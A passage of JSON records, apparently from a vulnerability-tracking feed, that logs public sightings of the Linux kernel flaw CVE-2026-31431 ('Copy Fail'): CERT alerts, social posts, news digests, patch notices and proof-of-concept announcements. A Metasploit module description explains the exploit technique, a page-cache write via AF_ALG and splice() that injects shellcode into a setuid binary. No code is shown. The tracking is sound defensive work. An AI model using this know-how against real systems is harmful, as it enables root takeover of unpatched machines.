"author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1847", "content": "", "creation_timestamp": "2026-05-03T21:00:00.000000Z"}, {"uuid": "5fd1e53d-846a-4d54-a8d5-3c65994e09c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1846", "content": "", "creation_timestamp": "2026-05-03T21:00:00.000000Z"}, {"uuid": "8e002c59-603a-4e85-9b92-2ac926c2a1cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/82731", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431-shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a g1nt0n1x\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 07:55:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC shell exploit for CVE-2026-31431 (copy_fail) \u2014 Linux LPE via AF_ALG + splice page-cache overwrite. Single-shot, no race condition, kernel 4.9\u20136.18.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T08:00:04.000000Z"}, {"uuid": "85aebff3-aab3-474e-92ec-05f0f668598c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.humancoders.com/post/3mkzfzsf3kv22", "content": "Copy Fail CVE-2026-31431 : patch kernel Linux et mitigation", "creation_timestamp": "2026-05-04T10:00:21.564370Z"}, {"uuid": "eefc0aa9-56aa-4b70-9aa6-cd4f37362967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2026_31431_copy_fail.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Xint Code\", \"rootsecdev\", \"Spencer McIntyre\", \"Diego Ledda\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the\\n          AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled\\n          4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the\\n          on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local\\n          privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su.\\n          The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and\\n          affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d.\", \"disclosure_date\": \"2026-04-29\", \"fullname\": \"exploit/linux/local/cve_2026_31431_copy_fail\", \"is_install_path\": true, \"mod_time\": \"2026-04-30 17:51:30 +0000\", \"name\": \"Copy Fail AF_ALG + authencesn Page-Cache Write\", \"needs_cleanup\": null, \"notes\": {\"AKA\": [\"Copy Fail\"], \"Reliability\": [\"repeatable-session\"], \"SideEffects\": [], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/local/cve_2026_31431_copy_fail.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/local/cve_2026_31431_copy_fail\", \"references\": [\"CVE-2026-31431\", \"URL-https://copy.fail/\", \"URL-https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py\", \"URL-https://github.com/rootsecdev/cve_2026_31431\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-04-30T22:30:05.000000Z"}, {"uuid": "3adc5f55-747b-4d44-8781-8770df2b68ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskyb2b/2158", "content": "\ud83d\udc40 \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udfe2\u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Silver Fox \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0437\u0438\u0430\u0446\u0438\u0438 \u0432 \u0420\u0424 \u0438 \u0432 \u0418\u043d\u0434\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 ABCDoor. \u0420\u0435\u0442\u0440\u043e\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c 7 \u0432\u0435\u0440\u0441\u0438\u0439 \u0412\u041f\u041e, \u043f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0436 2024 \u0433\u043e\u0434\u043e\u043c, \u043d\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0441\u0435\u0439 \u0434\u0435\u043d\u044c. \u041d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0438 \u0441 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u043d\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438. \n\n\ud83d\udfe3\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431 (CopyFail), \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0449\u0435\u0439 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0443 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0431\u043e\u0440\u043e\u043a Linux. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0441\u0440\u0435\u0434:  Docker, LXC \u0438 Kubernetes.\n\n\ud83d\udd35\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 npm \u0431\u0443\u0448\u0443\u0435\u0442 \u044d\u043f\u0438\u0434\u0435\u043c\u0438\u044f Mini Shai-Hulud: \u0447\u0435\u0440\u0432\u044c \u043f\u043e\u0440\u0430\u0437\u0438\u043b \u043f\u0430\u043a\u0435\u0442\u044b SAP \u0438 intercom. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0442\u0435 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0430\u043a\u0435\u0442\u044b lightning \u0432 PyPi. TTPs \u043f\u043e\u0445\u043e\u0436\u0438 \u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0443 TeamPCP.\n\n\ud83d\udfe3\u0413\u0440\u0443\u043f\u043f\u0430 HeartlessSoul, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u0430\u044f \u043e\u0441\u0435\u043d\u044c\u044e 2025 \u0433\u043e\u0434\u0430, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0430\u0432\u0438\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0432 \u0447\u0438\u0441\u043b\u0435 \u043f\u043e\u0445\u0438\u0449\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u0441\u043e\u0431\u044b\u0439 \u0430\u043a\u0446\u0435\u043d\u0442 \u043d\u0430 \u0444\u0430\u0439\u043b\u044b \u0433\u0435\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u0435\u043d \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e: \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0440\u0435\u043a\u043b\u0430\u043c\u0438\u0440\u0443\u0435\u0442 \u0441\u0430\u0439\u0442\u044b-\u0444\u0430\u043b\u044c\u0448\u0438\u0432\u043a\u0438 \u0441 \u0442\u0440\u043e\u044f\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u041f\u041e \u0434\u043b\u044f \u0430\u0432\u0438\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\ud83d\udfe3\u0412\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u0442\u043e\u0436\u0435 \u0432\u043e\u043b\u043d\u0443\u044e\u0442\u0441\u044f \u043e \u043f\u043e\u0441\u0442\u043a\u0432\u0430\u043d\u0442\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u2014 \u043d\u043e\u0432\u044b\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a Kyber \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u0435 \u0433\u0438\u0431\u0440\u0438\u0434\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0441 \u041f\u041a\u0428.\n\n\ud83d\udd35\u041e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 150-\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0439 \u043e\u0442\u0447\u0435\u0442 \u043e \u0441\u043b\u043e\u0436\u043d\u043e\u043c \u0412\u041f\u041e EasterBunny (pdf) \u0438 TTPs APT29/DarkHalo, \u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0449\u0435\u0439. \u0421\u0440\u0435\u0434\u0438 \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u044b\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u2014 \u0436\u0451\u0441\u0442\u043a\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 \u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0443, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043d \u043d\u0430\u0446\u0435\u043b\u0435\u043d, \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0441\u044f.\n\n\ud83d\udfe3\u041d\u043e\u0432\u044b\u0435 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0438 ClickFix: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434 cmdkey \u0438 regsvr32 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0412\u041f\u041e.\n\n\ud83d\udd35\u0417\u0430\u043a\u0440\u044b\u0442\u0430\u044f \u0432 \u0430\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u043e\u043c Patch Tuesday CVE-2026-32202, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0445\u044d\u0448\u0435\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u0430 \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f. \u0414\u0435\u0444\u0435\u043a\u0442 \u0432\u043e\u0437\u043d\u0438\u043a \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0437\u0438\u0440\u043e\u0434\u0435\u044f CVE-2026-21510.\n\n\ud83d\udfe3\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043b\u044f WordPress \u0431\u044b\u043b \u0438\u0437\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d \u0438\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0435\u0449\u0435 \u0432 2020 \u0433\u043e\u0434\u0443, \u043d\u043e \u043e\u0431\u0437\u0430\u0432\u0451\u043b\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 2026. \n\n\ud83d\udd35\u0420\u0430\u0437\u0431\u043e\u0440 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u043f\u0430\u043c-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0445 SMS \u043e\u0431 \u043e\u043f\u043b\u0430\u0442\u0435 \u0434\u043e\u0440\u043e\u0436\u043d\u044b\u0445 \u043f\u043e\u0448\u043b\u0438\u043d \u0438 \u0448\u0442\u0440\u0430\u0444\u043e\u0432. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0436\u0435\u0440\u0442\u0432 \u0437\u0430\u043c\u0430\u043d\u0438\u0432\u0430\u044e\u0442 \u043d\u0430 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0435 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0435 \u0441\u0430\u0439\u0442\u044b \u0438 \u0441\u0430\u0439\u0442\u044b, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u0412\u041f\u041e.\n\n\ud83d\udfe2\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-41940 \u0432 \u043f\u0430\u043d\u0435\u043b\u044f\u0445 cPanel \u0438 WHM, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0431\u0435\u0437 \u0432\u0441\u044f\u043a\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0435\u0449\u0451 \u0434\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c cPanel, \u044d\u0442\u043e \u0432\u0435\u0441\u044c\u043c\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e \u2014 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043d\u0443\u0436\u043d\u043e \u0432 \u0441\u0440\u043e\u0447\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435. \n\n\ud83d\udfe3\u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0433\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0441\u043a\u0430\u043c-\u0446\u0435\u043d\u0442\u0440\u043e\u0432 (\u0438 \u0431\u043e\u0440\u044c\u0431\u044b \u0441 \u043d\u0438\u043c\u0438) \u2014 \u0434\u0435\u0432\u044f\u0442\u044c \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0444\u0438\u0441\u043e\u0432 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 \u0432 \u0414\u0443\u0431\u0430\u0435.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-05-04T09:44:28.000000Z"}, {"uuid": "3353c297-7903-4005-9957-e7f92fcbf3a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82735", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a RK35xx-CopyFail-Hotfix\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Qengineering\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 08:56:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRK35xx CopyFail Hotfix: CVE-2026-31431 Patch for Ubuntu 24.04\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T09:00:04.000000Z"}, {"uuid": "a3acd964-129a-419f-af29-d56b6747f8b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mkzjyo3dghq2", "content": "Linux: CISA Warns of Linux Kernel Zero-Day Vulnerability Exploited in Active Attacks CISA Warns of Actively Exploited Linux Kernel Vulnerability (CVE-2026-31431) The U.S. Cybersecurity and Infrastr...\n\n#cyber #Vulnerability\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-04T11:14:37.229108Z"}, {"uuid": "a8b72110-e060-4d33-9c11-3cf3eb4277eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mkzlvnvq2q2q", "content": "CISA reports active exploitation of "Copy Fail" Linux kernel flaw (CVE-2026-31431) allowing local users to gain root access. Federal agencies must patch by May 15 under BOD 22-01. #LinuxKernel #RootAccess #USA", "creation_timestamp": "2026-05-04T11:45:24.229336Z"}, {"uuid": "6c614102-c3c9-4853-bd03-e51836a242ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mkzyhprqbp2u", "content": "\ud83d\udd17 CVE : CVE-2026-31431", "creation_timestamp": "2026-05-04T15:30:14.888541Z"}, {"uuid": "0d8520a9-0f6b-4368-821b-870b59fac7df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mkznjpeaxq2g", "content": "A quiet Linux kernel flaw, 'Copy Fail' (CVE-2026-31431), has been actively exploited since 2017, allowing root access with a tiny script. This LPE is a major threat to cloud container security, proving even 'boring' bugs can be\u2026\n\nhttps://www.tpp.blog/qoupvah\n\n#cybersecurity #cve202631431 #copyfail", "creation_timestamp": "2026-05-04T12:14:30.353343Z"}, {"uuid": "4cbf6d53-fe76-46f4-8f7c-dbaf8c0b616d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mhatta.org/post/3mkzofu7rvx25", "content": "copy.fail (CVE-2026-31431): a small Linux kernel bug with an unusually big blast radius | Jorijn Schrijvershof", "creation_timestamp": "2026-05-04T12:30:14.962219Z"}, {"uuid": "327adf20-1743-4895-bc36-9cae6cd0c99f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.se/2026/05/allvarlig-sarbarhet-i-flertal-linuxdistributioner.html", "content": "", "creation_timestamp": "2026-05-04T03:00:00.000000Z"}, {"uuid": "259c62ea-0f89-44af-b747-9be6eef5a94d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/iinikolaev/2ea316b1d8192f31153454117bc2870d", "content": "", "creation_timestamp": "2026-05-04T13:26:19.000000Z"}, {"uuid": "47694d3a-063f-4142-bdff-58a40b876492", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mkzumywkak2d", "content": " **Linux Security Alert! **\nThe 'Copy Fail' (CVE-2026-31431) flaw lets ANY local user gain root access on SUSE & other distros.  Read more->  tinyurl.com/mr5e2y7d  #SUSE #Security", "creation_timestamp": "2026-05-04T14:21:39.931131Z"}, {"uuid": "1d98ffb8-5ff3-4351-9ae3-f20361dcbb38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rockylinux.org/post/3mkzweewt5p27", "content": "Kernel crypto vulnerability alert: CVE-2026-31431 (Copy Fail) affects Rocky Linux users. Our community is tracking patches and next steps in real time.\nRocky-specific guidance: forums.rockylinux.org/t/cve-2026-3... \n#RockyLinux #LinuxSecurity", "creation_timestamp": "2026-05-04T14:52:35.570567Z"}, {"uuid": "3b3ae144-d3d3-4d5c-b7c1-6dcaa6e76391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82768", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a play-go-copy-fail-cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a imkk000\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 13:57:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T14:00:04.000000Z"}, {"uuid": "809b05cc-6339-45e6-aa89-b25566bea94f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/a3bc51ea1b488ff23e2733a1975eee72", "content": "", "creation_timestamp": "2026-05-04T15:10:04.000000Z"}, {"uuid": "1f66d444-509b-4289-b1dc-8b82df6a9111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mkzzcresg222", "content": "Attackers are exploiting CVE-2026-31431, aka Copy Fail, a long-standing Linux kernel flaw allowing privilege escalation to root via in-memory cache modification of setuid-root binaries. #LinuxFlaw #KernelBug #USA", "creation_timestamp": "2026-05-04T15:45:22.616772Z"}, {"uuid": "3f28076e-51e1-4f78-a4ee-6ad773eccf50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/calimegai.bsky.social/post/3ml226lewgw2l", 